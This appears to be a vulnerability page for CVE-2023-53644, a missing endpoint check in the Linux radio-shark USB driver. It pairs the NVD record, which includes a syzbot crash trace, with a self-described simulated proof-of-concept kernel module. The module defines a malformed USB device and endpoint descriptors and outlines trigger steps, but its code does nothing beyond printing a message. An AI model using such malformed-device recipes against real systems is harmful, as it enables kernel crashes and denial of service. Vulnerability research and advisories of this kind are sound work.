CVE-2023-53644

// PoC for CVE-2023-53644 - Linux kernel radio-shark driver endpoint check missing // This PoC simulates triggering the vulnerability by creating a malicious USB device // with incorrect endpoint configuration that the radio-shark driver doesn't validate #include <linux/usb.h> #include <linux/module.h> // Simulated USB device descriptor for a fake radio-shark device // with mismatched endpoint types to trigger the vulnerability static struct usb_device_descriptor fake_dev_desc = { .bLength = USB_DT_DEVICE_SIZE, .bDescriptorType = USB_DT_DEVICE, .bcdUSB = cpu_to_le16(0x0200), .bDeviceClass = USB_CLASS_PER_INTERFACE, .bDeviceSubClass = 0, .bDeviceProtocol = 0, .bMaxPacketSize0 = 64, .idVendor = 0x077d, // Griffin Technology vendor ID (radio-shark) .idProduct = 0x627a, // radio-shark2 product ID .bcdDevice = cpu_to_le16(0x0001), .iManufacturer = 1, .iProduct = 2, .iSerialNumber = 0, .bNumConfigurations = 1, }; // Endpoint configuration with WRONG type (interrupt instead of bulk) // This mismatch triggers the WARNING: pipe 1 != type 3 static struct usb_endpoint_descriptor fake_ep_desc = { .bLength = USB_DT_ENDPOINT_SIZE, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = USB_DIR_OUT | 0x01, // EP1 OUT .bmAttributes = USB_ENDPOINT_XFER_INT, // INT type instead of BULK .wMaxPacketSize = cpu_to_le16(64), .bInterval = 1, }; /* * Trigger scenario: * 1. Create a USB device with the above descriptors * 2. When the radio-shark2 driver probes this device, it will try to * use the endpoint without checking its type * 3. shark_write_reg() calls usb_bulk_msg() with pipe type BULK * 4. usb_submit_urb() detects the mismatch and triggers WARNING * 5. This can lead to system instability or crash */ static int __init poc_radio_shark_init(void) { printk(KERN_INFO "CVE-2023-53644 PoC: Simulating radio-shark endpoint mismatch\n"); // The actual exploitation requires a physical USB device or VM with // USB emulation capabilities to trigger the vulnerability return 0; } static void __exit poc_radio_shark_exit(void) { printk(KERN_INFO "CVE-2023-53644 PoC: Unloaded\n"); } module_init(poc_radio_shark_init); module_exit(poc_radio_shark_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2023-53644 radio-shark endpoint check bypass");

{"cve": {"id": "CVE-2023-53644", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:47.770", "lastModified": "2026-02-03T22:29:35.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: radio-shark: Add endpoint checks\n\nThe syzbot fuzzer was able to provoke a WARNING from the radio-shark2\ndriver:\n\n------------[ cut here ]------------\nusb 1-1: BOGUS urb xfer, pipe 1 != type 3\nWARNING: CPU: 0 PID: 3271 at drivers/usb/core/urb.c:504 usb_submit_urb+0xed2/0x1880 drivers/usb/core/urb.c:504\nModules linked in:\nCPU: 0 PID: 3271 Comm: kworker/0:3 Not tainted 6.1.0-rc4-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/26/2022\nWorkqueue: usb_hub_wq hub_event\nRIP: 0010:usb_submit_urb+0xed2/0x1880 drivers/usb/core/urb.c:504\nCode: 7c 24 18 e8 00 36 ea fb 48 8b 7c 24 18 e8 36 1c 02 ff 41 89 d8 44 89 e1 4c 89 ea 48 89 c6 48 c7 c7 a0 b6 90 8a e8 9a 29 b8 03 <0f> 0b e9 58 f8 ff ff e8 d2 35 ea fb 48 81 c5 c0 05 00 00 e9 84 f7\nRSP: 0018:ffffc90003876dd0 EFLAGS: 00010282\nRAX: 0000000000000000 RBX: 0000000000000003 RCX: 0000000000000000\nRDX: ffff8880750b0040 RSI: ffffffff816152b8 RDI: fffff5200070edac\nRBP: ffff8880172d81e0 R08: 0000000000000005 R09: 0000000000000000\nR10: 0000000080000000 R11: 0000000000000000 R12: 0000000000000001\nR13: ffff8880285c5040 R14: 0000000000000002 R15: ffff888017158200\nFS: 0000000000000000(0000) GS:ffff8880b9a00000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007ffe03235b90 CR3: 000000000bc8e000 CR4: 00000000003506f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n usb_start_wait_urb+0x101/0x4b0 drivers/usb/core/message.c:58\n usb_bulk_msg+0x226/0x550 drivers/usb/core/message.c:387\n shark_write_reg+0x1ff/0x2e0 drivers/media/radio/radio-shark2.c:88\n...\n\nThe problem was caused by the fact that the driver does not check\nwhether the endpoints it uses are actually present and have the\nappropriate types. This can be fixed by adding a simple check of\nthese endpoints (and similarly for the radio-shark driver)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6", "versionEndExcluding": "4.14.316", "matchCriteriaId": "4282A4ED-8159-4975-90E4-0495D3D658E3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.284", "matchCriteriaId": "9112EE64-11F4-46DB-A041-95118F20F81B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.244", "matchCriteriaId": "79F47095-8BA3-495A-AED3-2CCA5F2838E6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.181", "matchCriteriaId": "F5B1726B-45AA-47F2-9261-6DC963E92248"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.114", "matchCriteriaId": "AA68825D-6B30-4C99-9E36-C690FE7F9AB3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.31", "matchCriteriaId": "79A1436B-7738-4A85-8FE6-B844059F22D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.3.5", "matchCriteriaId": "34DD94CA-4DA1-41C3-9A9B-92ACD7F4E240"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2b580d0f03c4fc00013cd08f9ed96b87a08fd0d9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3ed6a312ac1e7278f92b1b3d95377b335ae21e89", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4c3057a1927fa0b9ed8948b6f3b56b4ff9fa63d3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/53764a17f5d8f ... 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